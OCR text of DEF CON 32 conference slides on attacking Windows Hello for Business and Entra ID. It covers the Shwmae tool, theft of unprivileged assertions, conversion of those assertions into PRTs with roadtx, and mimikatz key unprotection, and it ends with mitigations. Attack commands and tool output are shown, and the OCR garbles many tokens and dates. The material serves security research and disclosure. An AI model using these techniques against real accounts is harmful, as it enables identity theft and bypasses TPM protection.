build of your currently supported Windows version to maintain access to Entra ID.
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Introducing Shwmae (shuh-my)

 New tool created to abuse https://github.com/CCob/Shwmae

the research presented here

¢ IVI u Iti ple mOd eS Of Operation Shwmae 1.8.8+426a62b7e2cd781b25d4c72bf43ffcdbccb5bBasg

Copyright (C) 2824 Shwmae
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* Enumeration

- enum {Default Verb) Enumerate Windows Hello protectors, keys and credentials
e Decrypts plaintext password
When avai|ab|e sign Sign data using a Windows Hello protected certificate
e Dumps haShcat haSh When prt Obtain an Entra PRT and partial TGT usable with Rubeus
pOSSIble webauthn Create a webserver to proxy WebAuthn requests from an attacking host
°
Dump keys dump Dump Windows Hello protected keys when backed by software
* Only possible with software . . U
help Display more information on a specific command.
backed keys
. . version Display version information.
* PRT Authentication
°

WebAuthn Proxy
Arbitrary signing
Okta Terrify integration (TODO)
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Demo Time
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File Action Media View File Edit View VM Tabs Help n- =) Lo | =] [D: ISl !Z] .

v & NewTab X+ 5 X ! Windows 11 x64 TPM + VBS

C G Search Google or type a URL e e 3 2

() B Administrator: Windows Powt X 8 Administrator: Windows Powe: X + v o (m]

PS C:\tools>

GitHub Home crt.sh Login Add shortcut

Activate W1

/' Customize Chrome BEMPRC i ngs to activate

= OR v BBsE @< P o EBE® -~ =206 08/1(3/123024%




Unprivileged Windows Hello Abuse
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Windows Hello for Business PRT with Entra

POST /6287f28f-4f71-4322-9651-a869/d8felbc/oauth2/token HTTP/1.1

Host: login.microsoftonline.com

Cookie: x-ms-gateway-slice=estsfd; Tpc=AiVX617/G5iVKNEQ3649ALkk; stsservicecookie=estsfd
Content-Type: application/x-www-form-urlencoded

User-Agent: Windows-AzureAD-Authentication-Provider/1.0

Client-Request-Id: eBadd/b2-fbce-447f-903f-d3561223f6ed

Return-Client-Request-Id: true

Content-Length: 3868

Connection: close

windows_api_version=2.28&grant_typegurn®%3aietf%3aparams®s3aoauth®3agrant-type%s3ajwt-bearerfrequest=

eyJhbGci0iJSUzIINiIsICJ0eXAi0iJKV1QiLCAieDVjIjoiTUTIRDhgQONBdHFNQXdJQkFnSVF rRnhpSE9pejFKMUNBVGxzbm9cl 290VE
FOQmdrcWhralc5dzBCQVF zZRKFEQjRNWF13RVFZSONaSW1pW1B5TE dRQkdSWURibVYwTUJVRONNbVNKb21UOG14a0FSaldCM2RwYm1SdmQz
TXdIUV1EV1IFRREVAWK5VeTFQY21kaGltbDZZWF IwY j IOdFFXTmpaWES6TUNZROExVUVDeE1rTORKalltRmpZVFFOTTIVNE1TMDBObUSOTF
Rsak 56 TXRNRGsxTUdNeF pXRmpZVGszTUILOWERUSXpNRFVATmpF dOSEVXpPVMOYRFRNek 1IEVXh0akV4TVRVek9Wb3dMek VOTUNZROExVUVB
eE1lrTiJGak9UaGlaVEF OWmpBME1TMDBPVOZaTFRoak QUWXRNelZoWkRRMUS6STIJORGN3TUTJQk1aQUSCZ2txaGtpRz13MEJBUUVGQUFPQO
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HEADER: ALGORITHM & TOKEN TYPE

“MIID8jCCAtqgAWIBAGIQkFxiHOiz1J1CAT1sno/otTANBgkghkiGowe
BAQsFADBAMXYWEQYKCZImiZPyLGQBGRYDbmVOMBUGCgmSJomT81ixkARk
WB3dpbmRvd3MwHQYDVQQDExZNUy1Pcmdhbm16YXRpb24tQWNjZXNzMCs
GATUECxMkODJKYmF jYTQtM2U4AMSBBNmNhLT1jNzMtMDK 1MGMxZWF jYTk
3MB4XDTIzMDUxNjEWNDUzOVoXDTMzMDUXNJEXMTUZOVowLZETMCSGATU
EAXMkN2F jOThmZTAtZ jABMS@A0WF jLThjOTYtMzVhZDQ1NzI2NDewMIT
BIjANBgkghkiG9wBBAQEFAAOCAQS8AMITIBCgKCAQEAtX0BUGCHSEBFWIA
+PzmY1eW1080EUDHJSyulyegAaAxNE
/IKErcHYbmRK@BOIhBipPFCRigBvKI+owiB458XJS1wKa9temBEELIQ11
r89kqVgQ2HqYzyJQt8qdQtBPkvyG2P9Daegz98vtage jJR3ITAUBVINXg
KgqeBbQAOJFNGZemPS5ep6zDToQiscAVhDsw2shQYzhMK1NtD2z9PX3mt0
84RtqBQCIP7x+1NxYHGhHGbBg91YshITLsw8gw
/UhCcwv+y7opaV1ke8wvmSbMFRY86WL fMkWkmXoeb3C1
/EaVz4hSs8kh4WqC6BKY2BaFIC789s0zGZz1X2T5t2F+yGwIDAQABO4H
AMIGOMAWGATUdEWEB/WQCMAAWFgYDVR@1AQH
/BAWWCQYIKwYBBQUHAWIWIQYLKoZIhvcUAQWCHATEEWSBEOCPYXpB8KxX
JFIYTruvyZHAWIgYLKoZIhvcUAQWCHAMEEWSBEF9t2P1Xwg1HoLeKMHS
fkPEwIgYLKoZIhvcUAQWCHAUEEWSBEI
/yh2J/TyJD11GoaXx2P4bwwFAYLKoZIhvcUAQWCHAgEBQSBAKYVVMBMGCY
qGSIb3FAEFghwHBAQEGQEXMABGCSqGSIb3DQEBCWUAA4IBAQBLGPIQ+1
ST5GZd1Xvo1ebFdgNfh580NXU3JF2IsTzGm+DxZ84s
/gTbMR8nkCTQaeMYVsg4HUEmbuswKn9KRIK+nwginXrDhWuuqIAcBpq®
7UMD8vc+8HYSQmk
/QtCbgVicCRhMSus8LICh9wVk8nWC5gkGRYgjPndtge3uxzqoxoARgMs
zR1zLM1T1tTMNP+13JeVx8Kp65
/MaYBEZeTUget5ppub5rK2zHXbHDBILXs8MAgTfm+HkK3eGVxUIM611iqg4
NelqQHpsIPfI3NQZYE6VIYFNonXxFo2X8Ct25EaECCIsshviiLgT59wYh
PE8ygahfodyKwSBEH295HBsnmRhT" ,

"kdf_ver": 2




PAYLOAD: DATA

"client_id": "38aa3b87-a06d-4817-b275-7a316988d93b"
"request_nonce": "AwWABEgEAAAACAOz_BQDO_xsCz1V33j6K-
cqx0aABE3wWA1XXG95eFmEBovgPUvO7Mwb-RT91s604sNgmxsZFx7qV4BbRBWMr68Q-T29WdosBgAA™,

scope . ‘openid aza ugs

"group_sids": [
"§-1-12-1-3449050006-13180631086-1069713303-529194043",
"S$-1-12-1-1513299610-1165403084-3608819602-1191284924",
"S-1-12-1-744543558-1082595233-2147164321-3681209427"

1,

"win_ver": "10.0.22621.3085",

! " "urn:ietf:params:oauth:grant-t

"mobiel@iminyour.cloud”,

"assertion":
"eyJhbGciOiJSUzITNiIsICJOeXAiOiJKV1QiLCAia21kIjoiSXIwZD1yVWt4TzIzZncOZEKYVZFZCEZ2YZB
XRTAOMXFHUmMNpTk50YzJFUTOiLCAidXN1IjoibmdjIn®.eyJpc3MiOiJtb2JpZWxAaW1pbnlvdXIuY2xvdWQ
iLCAiYXVKIjoiNjI4N@YyOEYtNEY3Ri00OMzIyLTk2NTEtQTg20TdEOEZFMUJDIiwgImlhdCI6IFE3MTMTMjk
TNDcilLCAiZXhwIjoiMTexMzUzMDEONYIsSICJzY29wZSI6ImOwZW5pZCBhemEgdWdzIiwgInJleXV1c3Rfbm9o
uY2Ui0iJBdOFCRWAFQUFBQUNBT3pfQ1FEMF94CcON6MVYzM202Sy1jcXhvYUFCRTN3QWXYWEC5NWVGbUVCh3Z
NUFV20TdNd2ItUmY5MXM2TzRzTnFteHNaRng3cVY@QmJSQldNcjY4UST1UMj1XZDBzMGdBQSJ9 .HJEWJS5xrlh
Firde91g8xouhjaapa-_ml@2RI3gEs2FZCpV87d2j4PuMu8RENhDPiLDJY3Ln4w2G630-
eJktJ_fmkUrPXzYaZlhxHWOEXyy4EJPJzZFWA2ENYGGenqs3HEJ2woJV _Kxw03Tn-
XERTD1VXgMRUK_JCnUylvjKy2viKTZKXdm_3C9cKVoyfnG-7xM1Q7 rWBUpAtvFWkSdQkC5FKsRFXrnTHuoFd
rkUP1MzQjuXKTMCKaYOhjjJpK1lpRcX9DaaqjHsD4WsNmSWCCcETfIz6BONp-
XUueSixK1gEzbJfDC56xAik7vsXdXBOmtLs0SjzjRzbnr9Gk-n4ZSCEMSA"




e ——— a7 »
De COded EDIT THE PAYLOAD AND SECRET

E nCOd ed PASTE A TOKEN HERE

eyJhbGci0iJSUzITNiIsICJOeXA101JKV1QiLCA
1a21kIjoiTWIxMU50M1dsdT1hXQThRcHp2R3BZRV
J272xhdnZIbEYXMW1ZcW5IcGlpczOilLCAidXN1I
joibmdjIn@.eyJpc3Mi0iJOcG10ZXNOQG1taWs5
b3VyLmNsb3VkIiwgImF1ZCI6IjYyODdGMjhGLTR
GNOYtNDMyMiBOSNjUXLUE4ANjk3RDhGRTFCQyIsIC
JpYXQi0iIxNjgoOMzA4NjA2TIiwgImV4cCI6IjE20
DQzMDkyMDYiLCAic2NvcGUi0iJveGVuaWQgYXph
IHVncyJ9.tBpi2nd4KisKL22p-
8elsj3n4JEFoBRENBIPWKkxXxw1I2ZnATNTjTme4V5
MUz1lkqgD

HEADER: ALGORITHM & TOKEN TYPE

“alg": "RS256",

“typ" . "JWT,

"kid": "Mb11INh2W1wXWA8QpzvGpYERvglavvH1F11iYgnHpiis=",
"use": "ngc”

}

PAYLOAD: DATA

"iss": "tpmtest@iminyour.cloud”,

"aud": "6287F28F-4F7F-4322-9651-A8697D8BFE1BC",
"iat": "1684388606",

"exp": "16843892086",

“scope”: "openid aza ugs” Timestamp

Tenant




Generating the assertion ourselves

* Windows Hello can be used from user session

* We can use the Microsoft Passport Key Storage Provider from
software

* PIN is cached so not needed to prompt user or brute force it

* Need to use native NCrypt methods since C# methods for RSA keys
are limited to software keys

* No admin rights needed whatsoever
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Generating assertion from user session

PS C:\Users\TokenProtection\Documents> .\hellopoc.psl

Found cert with CN=S-1-12-1-88725986-1202950272-4294558355-2755580718/98aabc19-0363-4869-bbdb-31d3be569adb/1login.windows
.net/6287f28f-Uf7f-U322-9651-a8697d8felbc/tokprot@iminyour. cloud

True

c]

C]

KeyId: 9xMfAzFqQ326L6mY98fV6ASFCDUPP/2LHfnMjdk+NSc=

C]

C]

Assertion: ewOKICAgICJOeXAiOiAgIKpXVCIsDQogICAgIMFsZyI6ICAiULMYNTYiLAGKICAgICIraWQi0iAgIjluTWZBekZxUTMyNKW2bVK50GZWNKFTZ
KNEVVBQLZJMSGZuTWpkaytOU2M9IiwNCiAgICAidXN1IjogICIuzZ2MiDQp9 . ewOKICAgICIpc3Mi0iAgInRva3Byb3RAaWlpbnlvdXIuyY2xvdwQilAGKICAg
ICIhdWQiOiAgImNVbW1vbiIsDQogICAgIMlhdCI6ICAXNZIXMTIXODUXLAOKICAGICI1eHAIOiAgMTcyMTEYOTAIMSWNCiAgICALc2NVCGUi0iAgImOWZWSp
ZCBhemEgdWdzIiwNCiAgICAicmVxdWVzdF9ub25jZSI6ICAIQXdBQKVNRUFBQUFDQUI6XOJRRDBFXZzNSYWpzNW1lyQ2tmSENIMKFUMLLINKc1UNZIQilGeHZr
QU9fUNnVFRDF5VEI3Y3N1djMOamdMMDNvSkxwZORVUUVXa3hWNORpRVOUeF96b1U2Y3VGWLLNQUEiDQp9.emdCHtsRc32VxKJI3tRwnROj70IP1nzdWZqtlyeVU
V3Jscarzk900DAKskSTyeH10IVgNmWELKkv7X11lu3QGbgzEIT1c5IBEemkgWgeSYQNNOTWCQJIKPF9gT66HNOdkWzPFJISRAECSWO8IanfU4HEA63jn7CeMYIXEY
_YIwDrxSZnZn5HOdVn9ckzJcLGNjld6tfuJ8L_BcOOIb71ZLQNnSHKpVIQn9UMbXdhALmMP9ufOCHc-BetKfOZbIKrZeA910EoP1PNn399AME2013tguvhaCb80
_CQEyvalu8wEjqGakKgmOhYwhqnGVJIQE_QmhwTPGezziFfppZNselLg7ynuFzKkUA

PS C:\Users\TokenProtection\Documents> |
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E nCOd ed PASTE A TOKEN HERE

De COded EDIT THE PAYLOAD AND SECRET

eyJhbGci0iJSUzITNiIsICJOeXA101JKV1QiLCA
1a21kIjoiTWIxMU50M1dsdT1hXQThRcHp2R3BZRV
J272xhdnZIbEYXMW1ZcW5IcGlpczOilLCAidXN1I
joibmdjIn@.eyJpc3Mi0iJOcG10ZXNOQG1taWs5
b3VyLmNsb3VkIiwgImF1ZCI6IjYyODdGMjhGLTR
GNOYtNDMyMiBOSNjUXLUE4ANjk3RDhGRTFCQyIsIC
JpYXQi0iIxNjgoOMzA4NjA2TIiwgImV4cCI6IjE20
DQzMDkyMDYiLCAic2NvcGUi0iJveGVuaWQgYXph
IHVncyJ9.tBpi2nd4KisKL22p-
8elsj3n4JEFoBRENBIPWKkxXxw1I2ZnATNTjTme4V5
MUz1lkqgD

HEADER: ALGORITHM & TOKEN TYPE

“alg": "RS256",

“typ": "JWTY,

"kid": "Mb11Nh2W1wXWA8QpzvGpYERvglavvH1F11iYgnHpiis=",
"use": "ngc”

}

PAYLOAD: DATA

"iss": "tpmtest@iminyour.cloud”,

"aud”: "6287F28F-4F7F-4322-9651-A8697D8FE1BC",
"iat": "1684388606",

"exp": "1684389206",

“scope”: "openid aza ugs”




WHFB attack: golden assertion

e Assertion can be generated from user session without admin rights
* Timestamp range can be anything, 10 years validity without problem
e Assertion can be used in the future to authenticate with WHFB key

 Problem: tied to device certificate and TPM?
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Windows Hello usage over RDP

R

WHFB key User Cert + WHFB auth

WHFB PRT
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RDP to device without TPM = PRT exposure

PS C:\Users\TokenProtection\Documents> dsregcmd /status

| Device State

AzureAdJoined
EnterpriseJoined
DomainJoined
Virtual Desktop
Device Name

YES

NO

NO

NOT SET
DESKTOP—9FJOBHL

Device Details

DeviceId

Thumbprint
DeviceCertificateValidity
KeyContainerId
KeyProvider

TpmProtected
DeviceAuthStatus

973db80e—-0aU42-401c-b871-U4lccUTbdf5fYU
LUFD99D9519F7060A1AU4FT750430972938CIFCC78B

[ 2024-01-11 19:41:14.000 UTC —-- 2034-01-11 26

7905a9be—-3U3+-U47b8—-8006—bOblf7cd295e
Microsoft Platform Crypto Provider
YES

SUCCESS

Tenant Details

DEFCON »»)»
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| ey |
& DESKTOP-86AQKLO - Remote Desktop Connection

&/ mimikatz 2.2.0 x64 (oe.eo0)

ReeySID name : NT AUTHORITY\SYSTEM

612 {©;000003e7} 1 D 45042 NT AUTHORITY\SYSTEM $-1-5-18 (e4g,:

-> Impersonated !
, * Process Token : {©;012c3009} 2 F 19673846 AzureAD\TPM S-1-12-1-4191710559-11
by (10g,24p) Primary
Mic * Thread Token : {©;000003e7} 1 D 19883091 NT AUTHORITY\SYSTEM S-1-5-18
Eelegation)

mimikatz # dpapi::cloudapkd /keyvalue:AQAAAAEAAAABAAAABIYd3wEVORGMegDAT8KX6WEAAAAQSISE
AAAQAATIAAAADPrjAc90xGQzcpdNLI3ThVn2BOLiLMgX5vvz4z T -WrMAAAAAAGAAAAAAgAATAAAAFXLUZUYAGP:
AAATVaAXwsbO34FeR1lehw7Wh17TzUCSyJJ-J6jmrQVnCqRYgglyzuQWZge0omuj4wwDUAAAAABjBiAH ke IKAL
55XjtN7RZsKX9gC036VIgalEnb6-LOTVedbCqt /unprotect

Label : AzureAD-SecureConversation

Context : d838f75d3a79fedee6d46320997dbc9ee0015444336d2079

* using CrvptUnprotectData API

Key type : Software (DPAPI)

Clear key : bfaea55726d7dab7e674c2f68128b44e8a85d824ab3eebc@163d15a2d77939df

UErived Key: aClalTBl/DT53TEZ/DTT/EL49D9400/025ETOA4TET4LbDTS045.TCUbDCDBYATDA

mimikatz #



WHFB attack: golden assertion

e Assertion can be generated from user session without admin rights
* Timestamp range can be anything, 10 years validity without problem
e Assertion can be used in the future to authenticate with WHFB key

» Assertion is not tied to a device, so can be used with any other (fake)
device

PAYLOAD:

| Fri Jul 31 2026 22:39:29 GMT+0200 (Central European Summer Time)
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E n COded PASTE A TOKEN HERE DeCOd ed EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

eyJhbGci0iJSUzITNiIsICJBeXAi0iJKVIQiLCA
ia21kIjoiSXIwZD1lyVWt4TzIzZncOZEkyVzFZcE {" o )
Z2YZzBXRTdOMXFHUMNpTK50YZJFUT@iLCA1dXNLT PR
joibmdjIn@.eyJpc3MiOiJtb2JpZWxAaWlipbnlyv "kid":
dXIuY2xvdWQiLCAiYXVKIjoiNjI4N@YyOEYENEY s T prveaRE T agRe e
3RiBOMzIyLTk2NTEtQTg20TdEOEZFMUJDIiwgIm } '
1hdCI6IFE3MTMIMjk1NDcilCAiZXhwIjoiMTcxM
zUzMDEONyIsICJzY29wZSI6ImOwZW5pZCBhemEg PAYLOAD: DATA
dWdzIiwgInJlcXV1c3RfbmOuY2Ui0iJBdOFCRWd
FQUFBQUNBT3pfQLFEMF94cON6MVYZM202Sy1jcX "iss": "mobiele@iminyour.cloud”,
hvYUFCRTN3QWxYWEc5NWVGbUVCbh3ZnUFV20TdNd jji::jjj jj?ﬁgzzgzgf”-“ﬂ-%“-A869738FE1<"-
2ItUmY5MXM2TzRzTnFteHNaRng3cVYeQmJSQldN ‘exp”: "1713530147" - Tenant
cjY4US1UMj1XZDBzMGdBQSJ9 .HJEWJI5xr1hFird "scope”: "openid aza ugs’, — Timestamp
. "request_nonce": "AwABEgEAAAACAOz_BQDO_xsCz1V33j6K-
e91 q8XOUhJ aapa- cqxo0aABE3WA1XXG95eFmEBovgPUv97Mwb- \
_m1B2RI3gEs2FZCpV87d2j4PuMu8RENhDPiLDJY RF915604sNqmxsZFx7qV4BbRBWMI68Q-T29WdBSBgAA" Nonce
3LN4w2G630 '




WHFB attack: golden assertion

* Patched as CVE-2023-36871 and CVE-2023-35348 (AD FS) in July 2023

 Windows will now include a nonce in the assertion, which limits
assertion validity to 5 minutes

e Attack mechanics explained in FAQ, actual server side enforcement
for nonce only enabled in May 2024

FAQ

According to the CVSS metric, privileges required is low (PR:L). What does that mean for this vulnerability?

An attacker would require access to a low privileged session on the user's device to obtain a JWT (JSON Web Token) which can then be used to craft a long-
lived assertion using the Windows Hello for Business Key from the victim's device.

According to the CVSS metric, successful exploitation of this vulnerability could lead to total loss of integrity (I:H)? What does that mean for this
vulnerability?

By exploiting this vulnerability, an attacker can craft a long-lived assertion and impersonate a victim user affecting the integrity of the assertion.
DEFCON »»)»

—
:—_’—-‘
| G —

€44 ENGAGE

What kind of security feature could be bypassed by successfully exploiting this vulnerability?

An attacker can bypass Windows Trusted Platform Module by crafting an assertion and using the assertion to request a Primary Refresh Token from another
device.
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WHFB assertion attack — remaining scenarios

e Assertion time window is now limited to 5 minutes (nonce validity).

* Does not stop us from requesting a PRT on a different device without
TPM (part of the design).

* Meaning we can still use the assertion from a victim to request a PRT
on a different device, bypassing TPM protection.

* PRT will have it’s regular 90 days validity and can be used to sign in to
anything Entra connected.

* Not mitigated by VBS, LSA PPL, Windows Hello ESS, TPM, etc

(((((((((



WHFB assertion stealing — From victim session

PS C:\Users\TokenProtection\Documents> .\hellopoc.psl

Found cert with CN=S-1-12-1-88725986-1202950272-14294558355-2755580718/98aabc19-0363-4869-bbdb—31d3be569adb/login.windows
.net/6287f28f-Uf7f-U322-9651-a8697d8felbc/tokprot@iminyour.cloud

True

0
0
KeyId: 9xMfAzFqQ326L6mY98fV6ASFCDUPP/2LHfnMjdk+NSc=
0
0
Assertion: ew@KICAgICJOeXAiOiAgIKpXVCIsDQogICAgImFsZyI6ICAiULMyNTYiLAOKICAgICIraWQiOiAgIjluTWZBekZxUTMyNkw2bVk50GZWNKFTZ
KNEVVBQLZzJIMSGZuTWpkaytOU2M9IiwNCiAgICAidXN1IjogICJIuZ2MiDQp9.ewd®KICAgICIpc3Mi0iAgInRva3Byb3RAaWlpbnlvdXIuY2xvdWQiLAGKICAg
ICJhdWQi0iAgImNvbW1lvbiIsDQogICAgImlhdCI6ICAXNzIXMTIINDQULAGKICAGICILeHAIOiAgMTcyMTEZMjYOOCWNCiAgICAic2NvcGUiOiAgImOwZW5Sp
ZCBhemEgdWdzIiwNCiAgICAicmVxdWVzdF9ub25jZSI6ICAIQXdBQkVNRUFBQUFDQU96XOJRRDBFOVFURWQtams®@OVpFbTA3bE91Q3VIVWgYTHZUTWxXYdTYX
MHZmVjhHbXBUQWVrRUpBOG9SakRwRV05Z2M2azNHd180X3hEQOULUQ3M2UUZ3ejVqWEATATBNQUELDQp9 . MvDT jH7iHwm5—nhgOBLAFKIRN3biDBvtuBdIM2M
C2U4_ZVp-6W6IBOcVIuJH9bibgnKBnggNPyfVaxPv-YzhYNcPQ6jOxMuZm29QBwEld2arrLIpSnp-LadpaxCmCKInpQLueLhAx_xDKiIk—-Ee®hepYo6jTNMMKk
FZ35dAbBsLaypD7p0aXbg8fWé6D7-hzJKk_F_Cwl1l72jDoMdaDsrQtPFK-5nKCjUHUe98UAZzYZ-0KomqSxC5t1917ZFKAXgn1NHOZD8nwNnsiFIhKJIIN6pOPOF
9IT3mrOFL_MWQLJSxDSQR7dMXhfUecx—up6bm22jwfyAEYOoKL5IpUCsxz5fp2tA

DEFCON »»)»
—_—
C
]
| G —

€¢4¢¢ ENGAGE



WHFB assertion stealing — attacker host

(ROADtools) - ROADtools git: X roadtx prt -ha ewOKICAQICIOeXAL101AgIkpXVCISDQogICAGIMFSZYyI6GICALUIMYNTYL1LAOKICAQICIraWQioiAgIjl4TWZBe
kaUTMyNkakaSOGZNNkFTZkNEVVBQLz JIMSGZuTWpkaytOU2MOI1wNCiAQICALdXNLIjogICIuZ2MiDQp9.ewdKICAgICIpc3Mi0iAgInRva3Byb3RAaW1pbnlvdXIuY2xvdWQiLAGK
ICAgICIhdWQi01AgIMNVbW1vbiIsDQogICAGIMLhdCI6ICAXNZIXMTIINDQ4LAOKICAGICI1LeHALO1AgGMTCYMTEZMjYOOCWNCLAQICALC2NVCGULO1AgIMOWZWSpZCBhemEgdWdzIiwN
ClAgICAicmVXxdWVzdF9ub253jZSI6ICALQXdBQkVNRUFBQUFDQU96XOIRRDBFOVFURWQtamsOOVpFbTA3ZDES1Q3VIVWGYTHZUTWXYdTYXMHZmV jhHbXB4QWVrRUpBOG9SakRWRVOS5Z2M2
azNHd180X3hEQOU4Q3M2UUZ3e jVQWEdTATBNQUELDQpPY . MvDT jH71HWMS5 -nhgOBLAFKIRN3biDBvtuBdIM2MC24_ZVp-6W6IBOCVIUIHIb1bgnKBnggNPyfVaxPv-YzhYNcPQ6jOxMuZ
m29QBwE1d2arrLIpSnp-Lad4paxCmCKInpQLueLhAx_xDKiIk-Ee®hepYo6jTNMMkFZ35dAbBsLaypD7p0aXbg8fW6D7-hzJk_F_Cw172jDoM4aDsrQtPFK-5nKCjUH4e98UAZYZ-0Kom
qQSXC5t1917ZFKAXgn1INHOZD8NWNNS1FIhkJIIN6pOPOFOIT3mrOFL_MWQLISXDSQR7dMXhf4ecx-up6m22 jwfyAEYOok15Ip4Csxz5fp2tA -c hellodemo.pem -k hellodemo.ke
y -u tokprot@iminyour.cloud

Obtained PRT: 0.AXQAj_KHYn9PIkOWUahpfY_hvIc7qjhtoBdIsnV6MWmI2TviADI.AgABAWEAAAAPTWIMZXqdR4BN2miheQMYAgGDs wUA9P9Sk9dzSBj1ArM4hKUpNmytL1Y1kOtV
tc6wvwUeasaScXyGHYtLOBtdHpfBCA1QdIr14h6zTrtI0s3PLrXAE1BOYD1DWp6xhOPN1MaTTR1XevwrDddQHOMOrcEDafm94bBiBZKJIoRIFbSvBmsHpXado1qYPVZICnixQJu40_pTD
7jwk7xpKqOufAHaUVg5SeHra-0biQménfwCpxNoW2TWVMUVpdsVCR1OVibsyFeuQ1i3FU6eOyrv6hilcrkY2ZdzEJoagfsNA16oWXu LBHNzXOtPbNE40ALIOXU3H66Zz0BVS5SSSROWYWY
jloLQLvca70I3KuMal7cF2cd1bOPeHyvc1MXYfsc6Vo71ldwTulHA_akHhV1iGXuk1hKm-C_B1lD8cRAa4DISe-Fcx1Q1ttjAhvAV617LuYO1fHXSAXSTddr3usdGOf7iVB7F1lzhZ1nDae
7YRyXti2T2swhCgHz7GpODONhIgyKvQFOOXWazqFqQNQ6pTPOLLLSLU_FsxzCKic-smUycZrOguUGG7MXulNaCPGI11hbZFOYk6QWPGFSGSUWFS-g_ Xxy87uwUAbbiFWaoFWMSgzbvdg5s
YZ1K2GoGYYsSAu6yCrBU-xb_mX4nrSvWWTOONdCMLIUVXLXYoi1XCjA3bQuleOjm4qOUgK661tCZBUC -WCwkIIJIIHZVXGoSSKaQZ5SMIKtGmmOh1IHILLTRVMM8rgOLSSLCSXAIKY2PCLO7T
1dGSYyXxPDNZwxnAjw112LBhwTGQ-uL4eNFdIOvkx1-9MGD3P1AVsckX355jsL82SvIvFjqQcEPATKCAW _xqnChlOw-ThWyW-1bINSKzLYP6VWjYCWRbgHHhsIKLmx73gNWY jKz91yjvXP
A-ppyqjiSnSHQSS5TQQLjyoK90IIaiKNAy6toMMtabawtKzsQO9bg139YEYVvAWTMW2d861IfpLlivIXTgNQkrIb-12GIIECWBDWKLX3ymI3dOkCqc66QW8Cy9BmhfSsHhw

Obtained session key: 1e9c562fc8a75815d6e6bd5c8

Saved PRT to roadtx.prt
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WHFB assertion stealing — token claims

(ROADtools) -» ROADtools X roadtx prtauth --tokens-stdout | roadtx describe | jq .

aFfpJCBpgB4Jaks”,

aFfpJCBpgB4JaKs

bfM37EdNaVEDWfe6MVG3QjWROTU+HOIXT ]
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Entra Mitigations

e Require device compliance

* Restrict device join / registration for regular users

* Monitor for new devices + use of existing WHFB key
 Don’t RDP to untrusted hosts with sensitive accounts
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Endpoint Mitigations

e Use Windows Hello ESS
e Use physical key
e No TPM = no Windows Hello

* Alert on container file access
* NgcCtrlSvc is legitimate
e Other processes not so much
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What the hell is Windows Hello ESS

* Enhance Sign-In security
e Launched in circa 2020
e Supported on secure-core capable
machines only
* Hardware root of trust via SecureBoot
e TPM
* Kernel DMA Protection
e S-RTM — Static root of trust measurement
e HVCI - Hypervisor Code Integrity
 SDEV and SDCP

* SDEV/SDCP rarely seen in the wild

* Additional hardware support needed
 Namely ACPI SDEV table

* Biometric readers need to support secure
device capability

DEFCSN»»»
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Windows Security

i Core isolation

Security features available on your device that use virtualisation-based
security.

()
O Memory integrity

Prevents attacks from inserting malicious code into high-security

o
~ processes.
(i)
@ o
O L
2arn more
Enhanced sign-in security
5 Protects biometric data that you use for sign-in.
%E’ Learn more

DEF CON 32




What the hell is Windows Hello ESS

< w o P <« Local Disk (C:) » Windows » ServiceProfiles * LocalService » AppData » Local * Microsoft » MNgc » {B74

e Complete overhaul of NGC
CO nta i n e r’ p rOteCtO r a n d key Org,ail:: ) — Marne a Date modified Type Size
store

| Gallery Gids 13/06/2024 14:59 File folder
| 0 —races - o e

Wit h J SO N D Centainer,json 05/07/2024 17:33 JSON File 2 KB

o= D Drive (D)

* Biolso.exe and Ngclso.exe IUM ] Network
trustlets companions

* Protector keys most likely
never leave VTL1

* More research needed “asczecas

"SoftwareCacheNoneSecret™: {

D Protectors.json 05/07/2024 17:33 JSON File KB

acteristics":
ceWipeAttemptCount™:

ckoutElapsedlimeSeconds™:
tIndex":

kits
A svchost.exe 5024 23TMBE NTA.ALOCAL SERVICE  Host Process for Windows Services "-:&-:'-_’-;-T":'p;-" :
] Mgclso.exe 1008 1.12MB  NTALANLOCAL SERVICE  Windows Hello Security Process ,,;zﬁ: ‘SofrwareCacheNoneSecrer
svchost.exe 1248 1.79ME  NTAUTHORITYWSYSTEM  Host Process for Windows Services "software":
(@] svchost.exe 9148 2.02MB  DESKTOP-KHCIMGD\tes! Host Process for Windows Services e e e s e e maen
[l SecurityHealthServic... 3964 8.03MB NTAUTHORITY\SYSTEM Windows Security Health Service "UMIumId4LY0aG+2gbCNCTST4d5ZWY

W oychost,exe 8296 2.23ME  NTAUTHORITY\WSYSTEM Host Process for Windows Services :IP:—’;;;” .' : ,.:.aTEEFE??E:.{?E?E{E‘?F:&;;
[H] Biolzo.exe 2316 976 kB MWTAUTHORITYWSYSTEM  Secure Biometrics Yo )
usage
DEFCEN »»»
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Shoutout & Further Reading

e @DrAzureAD — AADInternals
e @gentilkiwi — Mimikatz
 @tijldeneut — DPAPI-NG research

 https://dirkjanm.io/assets/raw/Windows%20Hello%20from%2
Othe%200ther%20side_nsec_v1.0.pdf

https://dirkjanm.io/digging-further-into-the-primary-refresh-
token/
https://www.insecurity.be/blog/2020/12/24/dpapi-in-depth-
with-tooling-standalone-dpapi/
https://hashcat.net/forum/thread-10461.html
https://aadinternals.com/

https://hit.skku.edu/?page_id=2233
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Thank Youl

O https://github.com/CCob/Shwmae
eﬁ https://github.com/dirkjanm/ROADtools

ROADtools
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